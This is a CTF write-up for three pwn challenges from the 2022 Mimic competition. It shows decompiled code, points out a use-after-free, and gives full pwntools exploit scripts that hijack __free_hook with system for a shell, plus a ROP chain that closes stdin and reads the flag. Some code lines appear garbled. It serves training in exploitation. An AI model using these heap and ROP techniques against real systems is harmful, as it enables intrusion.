2022 Strong Network Mimic CTF PWN writeup
Jsjsj Lv2

2022 Strong Network Mimic CTF PWN writeup

Foreword: It was too difficult. I didn’t sign up for the competition. My teammates sent two questions, webpwn. At first, it felt like an httpd question. In the end, it took a long time to find out that it was a VM http web heap question. It took a long time to debug the inverse parameters. I’m too naive. I feel that if these two questions are understood inversely, it will be easy to do. It is mainly about the inverse parameters. Reverse flow for this problem

According to the normal reverse thinking, first general audit, find the main function, in the main function, find the logic of each function, find the logic of each function, and then expand to see

webheap:

The main functions of this question are as follows

  1. When receiving and sending packets, mainly complete the sending of packets, but this function does not do any conversion
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall sub_1999(__int64 a1)
{
__int64 v1; // rax
char v2; // bl
char buf; // [rsp+17h] [rbp-29h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-28h] BYREF
unsigned __int64 i; // [rsp+20h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-18h]

v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Packet length: ");
std::istream::operator>>(&std::cin, &v5);
if ( v5 > 0x1000 )
{
v1 = std::operator<<<std::char_traits<char>>(&stcd::cout, "The packet is too large");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
std::operator<<<std::char_traits<char>>(&std::cout, "Content: ");
std::allocator<char>::allocator(&buf);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(a1, v5, 0LL, &buf);
std::allocator<char>::~allocator(&buf);
for ( i = 0LL; i < v5; ++i )
{
read(0, &buf, 1uLL);
v2 = buf;
*(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, i) = v2;
}
return a1;
}
  1. The second parameter is to accept and process the data sent, but the function here is very complicated, repeat the test and send, and then meet many conditions, it is recommended to combine dynamic debugging, because it is very complicated without dynamic debugging, I started There is no dynamic debugging, which leads to hard reading. The amount of code is very complicated. It is not recommended to hard reading. Here are the main functions to process data.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    __int64 __fastcall sub_44E7(__int64 a1, __int64 opcode, __int64 a3)
    {
    char v5; // [rsp+22h] [rbp-Eh] BYREF
    unsigned __int8 v6; // [rsp+23h] [rbp-Dh]
    char v7[4]; // [rsp+24h] [rbp-Ch] BYREF
    unsigned __int64 v8; // [rsp+28h] [rbp-8h]

    v8 = __readfsqword(0x28u);
    v5 = 0;
    readOpcode1((__int64)v7, (std::istream *)a3, &v5);c
    if ( (unsigned __int8)sub_2468((__int64)v7) != 1 )
    {
    sub_2442(a1, (__int64)v7);
    }
    elsec
    {
    v6 = v5;
    if ( sub_3415(v5) ) // v5为0xB9
    sub_442A(a1, v6, opcode, a3);
    else
    set_error(a1, 1u);
    }
    return a1;
    }
1
2
3
4
bool __fastcall sub_3415(char a1)
{
return a1 == (char)0xB9; Check that the byte of the first packet must be 0xB9
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_442A(__int64 a1, __int64 a2, __int64 opcode, __int64 a4)
{
char v7[4]; // [rsp+2Ch] [rbp-14h] BYREF
__int64 v8[2]; // [rsp+30h] [rbp-10h] BYREF

v8[1] = __readfsqword(0x28u);
v8[0] = 0LL;
readOpcode2((__int64)v7, (__int64)v8, (std::istream *)a4);
if ( (unsigned __int8)sub_2468((__int64)v7) != 1 )
{
sub_2442(a1, (__int64)v7);
}
else if ( v8[0] == 5 )c
{
sub_4397(a1, opcode, a4); //再次发送必须第二个数据要为5
}
else
{
set_error(a1, 5u);
}
return a1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_DWORD *__fastcall chuanschuli(_DWORD *a1, unsigned __int8 a2, _QWORD *a3, __int64 a4)
{
switch ( a2 )
{
case 0x80u:
sub_3427(a1, a3, a4); // 1bytes
break;
case 0x81:
sub_34D0(a1, a3, a4); // 2bytes
break;
case 0x82:
sub_357B(a1, a3, a4); // 4bytes
break;
case 0x83:
sub_3625(a1, a3, a4); // 5bytes
break;
default:
*a3 = a2;
*a1 = 0;
no_error((__int64)a1);
break;
}
return a1; This is mainly to determine the data determined by the transmission parameters
}

Probably the process has been reversed, and the next step is to combine gdb-pwndbg to carry out the next step. It is extremely complicated here, and debugging has been adjusted all morning.

After all the parameters are constructed, the next step is to directly find holes to play

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall sub_18A3(__int64 a1)
{
int op; // [rsp+14h] [rbp-4Ch]
unsigned __int64 idx; // [rsp+18h] [rbp-48h]
char v4[40]; // [rsp+30h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
op = *(_DWORD *)a1;
idx = *(_QWORD *)(a1 + 8);
if ( *(_DWORD *)a1 == 1 )
{
show(idx);
}
else if ( op > 1 )
{
if ( op == 2 )
{
del(idx); // uaf
}
else if ( op == 3 )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v4, a1 + 24);
edit(idx, (__int64)v4);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v4);
}
}
else if ( !op )
{
add(idx, *(_QWORD *)(a1 + 0x10));
}
return __readfsqword(0x28u) ^ v5;
}

In fact, this heap vulnerability is in del, del:

1
2
3
4
5
6
void __fastcall sub_17EF(unsigned __int64 a1)
{
if ( a1 > 0xF )
exit(-1);
free((void *)ptr_list[a1]);
}

After discovering the UAF, you can directly follow the conventional ideas. You can find a way to write the parameters of the functions such as add, show, and edit through dynamic debugging and reverse analysis. In fact, the previous reverse process takes a lot of time, but the reverse understands the parameters and finds it. The hole was punched directly, it took 15 minutes

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *
p=process("./webheap")
elf=ELF("webheap")
libc=ELF("/home/roo/Desktop/tools/glibc-all-in-one-master/libs/2.27-3ubuntu1.5_amd64/libc.so.6")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def add(idx,size,content='jsjjs'):
payload=b'\xB9\x80\x05'
payload+=b'\x84'+p8(0)
payload+=b'\x80'+p8(idx)
payload+=b'\x83'+p64(size)
payload+=b'\xbd\x83'+p64(len(content))
payload+=str(content)
payload+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload)))
p.sendafter("Content: ",payload)


def delete(idx):
payload=b'\xB9\x80\x05'
payload+=b'\x84'+p8(2)
payload+=b'\x80'+p8(idx)
payload+=b'\x80'+p8(0)
payload+=b'\xbd\x80'+p8(1)
payload+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload)))
p.sendafter("Content: ",payload)

def show(idx):
payload2=b'\xB9\x80\x05'
payload2+=b'\x84'+p8(1)
payload2+=b'\x80'+p8(idx)
payload2+=b'\x80'+p8(0)
payload2+=b'\xbd\x80'+p8(1)
payload2+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload2)))
p.sendafter("Content: ",payload2)

def edit(idx,content):
payload=b'\xB9\x80\x05'
payload+=b'\x84'+p8(3)
payload+=b'\x80'+p8(idx)
payload+=b'\x80'+p8(0)
payload+=b'\xbd\x83'+p64(len(content))
payload+=content
payload+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload)))
p.sendafter("Content: ",payload)

for i in range(9):
add(i,0x400,'aaaaa')
for i in range(7):
delete(i)
delete(7)
for i in range(7):
add(i,0x400,'aaaa')
gdb.attach(p)
add(7,0x300,'')
raw_input()
show(7)
libc_base=u64(p.recvline()[-7:-1].ljust(0x8, b'\x00'))-0x3ec090
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
rce1=libc_base+0x4f2a5
rce2=libc_base+0x4f302
rce3=libc_base+0x10a2fc
#for i in range(7):
# delete(i)

#edit(6,p64(free_hook-8))
#add(7,0x400,'a')
#add(5,0x400,p64(rce1))
#gdb.attach(p)
#edit(5,p64(rce1))
#raw_input()
print hex(free_hook)
for i in range(7):
add(i,0x80)
for i in range(7):
delete(i)
edit(6,p64(free_hook))
add(10,0x80)
add(11,0x80)
edit(11,p64(system))
edit(10,'/bin/sh\x00')
delete(10)
p.interactive()

webheap_revenge:

This question is the same as the previous one. You can even directly use the above script function parameters to type it. I heard that it is an upgraded version of the previous question, but I did not see any upgrades. After passing the test, there is any heap overflow, which is better than the previous one. A little more complicated. It is when the heap is laid out, the layout is too messy, which leads to a period of self-closing, and then after re-layout, it can be played, directly hit freehook as system, and then rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
p=process("./webheap_revenge")
elf=ELF("webheap_revenge")
libc=ELF("/home/roo/Desktop/tools/glibc-all-in-one-master/libs/2.27-3ubuntu1.5_amd64/libc.so.6")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
def add(idx,size,content='jsjjs'):
payload=b'\xB9\x80\x05'
payload+=b'\x84'+p8(0)
payload+=b'\x80'+p8(idx)
payload+=b'\x83'+p64(size)
payload+=b'\xbd\x83'+p64(len(content))
payload+=str(content)
payload+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload)))
p.sendafter("Content: ",payload)


def delete(idx):
payload=b'\xB9\x80\x05'
payload+=b'\x84'+p8(2)
payload+=b'\x80'+p8(idx)
payload+=b'\x80'+p8(0)
payload+=b'\xbd\x80'+p8(1)
payload+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload)))
p.sendafter("Content: ",payload)

def show(idx):
payload2=b'\xB9\x80\x05'
payload2+=b'\x84'+p8(1)
payload2+=b'\x80'+p8(idx)
payload2+=b'\x80'+p8(0)
payload2+=b'\xbd\x80'+p8(1)
payload2+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload2)))
p.sendafter("Content: ",payload2)

def edit(idx,content):
payload=b'\xB9\x80\x05'
payload+=b'\x84'+p8(3)
payload+=b'\x80'+p8(idx)
payload+=b'\x80'+p8(0)
payload+=b'\xbd\x83'+p64(len(content))
#payload+=bytes(content,encoding="utf-8")
payload+=content
payload+=b'\x80'+p8(0)
p.sendlineafter("th: ",str(len(payload)))
p.sendafter("Content: ",payload)

for i in range(9):
add(i,0x400,'aaaaa')
for i in range(7):
delete(i)
delete(7)
for i in range(7):
add(i,0x400,'aaaa')
add(7,0x300,'')
show(7)
libc_base=u64(p.recvline()[-7:-1].ljust(0x8, b'\x00'))-0x3ec090
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
rce1=libc_base+0x4f2a5
rce2=libc_base+0x4f302
rce3=libc_base+0x10a2fc
#for i in range(7):
# delete(i)

#edit(6,p64(free_hook-8))
#add(7,0x400,'a')
#add(5,0x400,p64(rce1))
#gdb.attach(p)
#edit(5,p64(rce1))
#raw_input()
print hex(free_hook)
#for i in range(7):
# add(i,0x80)
#for i in range(7):
# delete(i)
#edit(6,p64(free_hook))
#add(10,0x80)
#add(11,0x80)
#edit(11,p64(system))
#edit(10,'/bin/sh\x00')
#delete(10)
delete(6)
delete(7)
delete(4)
edit(5,'a'*0x400+p64(0)+p64(0x411)+p64(free_hook))
add(10,0x400)
add(11,0x400)
edit(10,'/bin/sh\x00')
edit(11,p64(system))
delete(10)
gdb.attach(p)
p.interactive()

BF:

This question is an original question of the Southwest Division Competition, which directly uses the script of Master Kot to type the leaked address. This question limits the fd of read, and you can just close it directly. This question comes out after the game, and the complicated point is the fd. But close(0) can change fd

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# p = remote('192.168.0.76', 58011)
# p.recvuntil('TEST')
'''
pop_rdi = 0x0000000000000973 # pop rdi ; ret
ret = 0x000000000000001a # ret
'''
pay = '+[>>>>>>>>,]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'

pay += '>>>>>>>>'*2
pay += '.>'*8
pay += '>>>>>>>>'

pay += '.>'*8
pay += '<<<<<<<<'*5

pay += '.>'*8
pay += '<<<<<<<<'
pay += ',>'*8 * 22

# pay += '.'

gdb.attach(p)

dd = '0'*0x40 + '\x00'
p.sendline(pay)
raw_input()
p.send(dd)

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))-0xf0
print(hex(stack))

pie = u64(p.recvuntil(b'\x55')[-6:].ljust(0x8, b'\x00')) - 0x854
print(hex(pie))

libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x24083
print(hex(libcbase))
'''
one = [0xe3afe, 0xe3b01, 0xe3b04]
# print(hex(libcbase + one[0]))
p.sendline(p64(one[2]+libcbase))
'''
pop_rdi = libcbase + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libcbase + 0x000000000002601f # pop rsi ; ret
pop_rdx = libcbase + 0x0000000000142c92 # pop rdx ; ret
op = libcbase + libc.symbols['open']
re = libcbase + libc.symbols['read']
wr = libcbase + libc.symbols['write']
pop_rax=libcbase+libc.search(asm("pop rax\nret")).next()
close=libcbase+libc.sym['close']
syscall=libcbase+libc.search(asm("syscall\nret")).next()
payload1=p64(pop_rdi)+p64(0)+p64(close)+p64(pop_rdi)
payload+=p64(stack+8*21)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack+8*21)+p64(pop_rdx)+p64(0x50)
payload+=p64(0)+p64(re)+p64(pop_rdi)+p64(1)+p64(wr)+'flag\x00\x00'

p.send(payload1)

p.interactive()

Summary: This question is difficult for me. It is difficult to reverse the code and debug. After debugging for a long time, I actually feel that these two questions are very good, because some time ago, many competitions put the questions in the latest libc, because it is impossible in actual combat. When I encounter new libc, I rarely encounter libc in actual combat. Even if I encounter libc, the version is relatively old. However, the two questions in this competition have increased the amount of code (inverse vector). Such questions are closer to actual combat and can be enhanced. In fact, the reverse ability and code audit are not pwn. In this web question, they are closer to actual combat. I feel that future competitions will be closer to actual combat.

 Comments